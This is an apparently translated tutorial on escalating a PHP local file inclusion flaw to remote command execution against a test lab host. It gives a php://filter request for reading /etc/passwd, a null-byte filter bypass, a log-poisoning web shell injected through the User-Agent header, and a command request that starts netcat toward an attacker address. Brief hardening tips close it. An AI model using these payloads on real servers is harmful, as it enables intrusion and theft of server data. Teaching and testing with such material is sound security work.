Web security: from LFI to RCE





Local File Inclusion (LFI) is the ability to use local server files. The vulnerability allows a remote user to access arbitrary files on the server using a specially crafted request, including potentially containing confidential information. Today we will tell you how an attacker using this flaw can execute commands on a remote server.



A similar vulnerability arises if the implementation of a web application uses unsafe functions, for example, include , which allows you to include content in a page from a local file. In our case, it looks like this:







Thanks to the include (β€œ$ file”) line, the value of the GET parameter file will be included in the page content . Now, using this vulnerability, we will return local files that we specify in the parameter.







The article is for informational purposes only. Do not break the law.


Vulnerability detection



How to find a vulnerability? If you specify in a potentially vulnerable parameter the inclusion of some local file, for example, index with any extension, and this file will open, then we can definitely say that the parameter is responsible for swapping the file. This can be done either manually or using various automated tools, for example, the Wapiti vulnerability scanner , which was mentioned in one of our articles , or a specialized tool LFISuite , which is designed specifically for the search and exploitation of LFI vulnerabilities.











What pitfalls can there be? For example, the presence of filtering that will substitute the file extension at the end of the line, for example, .php . Thus, when we try to include the / etc / passwd file in the page, we will receive file = / etc / passwd.php in the address bar , and the contents of this file will not be displayed on the page, since the file does not exist. But such a filter can be bypassed using the so-called zero byte, which will "cut off" everything that comes after it. The fact is that the entire address bar when transmitting an HTTP request is encoded in URL-encode, and in this encoding the zero byte looks like % 00 . Thus, the line /etc/passwd%00.phpwill be converted to / etc / passwd . However, it should be noted that this problem is fairly well known and has been fixed in PHP 5.3+.



Another way to bypass filtering is to use php filter . In the parameter responsible for including files, we write not just the path to the file that we want to include, but the path to the file using this function. Now the request that we will send looks like this:



http://site.test.lan/index2.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
      
      











And now on the browser page we will see not the contents of the file, but its source encoded in base64 , which can be decoded: We have











figured out the main points of the LFI vulnerability, and now we understand that during its exploitation it is possible to read a local file on a remote server. But LFI has an interesting feature that allows you not only to read local files, but to compromise the server.



Poisoning the web server log



I think it’s worth mentioning right away that the vulnerability is not new, but nevertheless it is still encountered and can pose a serious threat to the security of a web server. When interacting with a web application, any of our requests is recorded in the web server logs, as a rule, these are files /var/log/nginx/access.log or /var/log/nginx/error.log if, for example, a web server is used Nginx , but the names of the final files, of course, may differ.







Now, by making a special request, we will create a web shell on the server, writing it to the access.log . To do this, change the User-Agent header by adding <? php system ($ _ GET [cmd]); ?> . To send a request, we will use the Burp Suite tool , which allows you to intercept and edit requests in real time. Why was User-Agent used ? As mentioned earlier, the address bar encodes information using URL-encode, therefore, to transfer the php-code, you need to use headers, and since the User-Agent is exactly written in the access.log , we will use it. The web shell is written and ready to use: When accessing the web application log using the LFI vulnerability, its contents will be read, and the script <? Php system ($ _ GET [cmd]); ?>















- execute, which will allow using the " cmd " variable to execute commands on the server:



http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=ls /
      
      











Unlike LFI, where to read the contents of a file, you must specify the full path to it, in the second case, arbitrary commands are executed on the server. This means that in addition to reading the server files, we can access it. To do this, we specify in the cmd parameter the command to launch Netcat to communicate with the attacker's server, that is, with us:



http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.135 4455
      
      











Recommendations



  • regularly check the security of the web application in order to prevent the occurrence of vulnerabilities;
  • add the line <? php exit (1) to the web server log ; ?> . This script will prevent any attempts to execute php code in this file (not a good idea, but it works, at least until rsyslog recreates the log file);



  • use WAF, which will block a malicious request, preventing it from being executed on the web server.



All Articles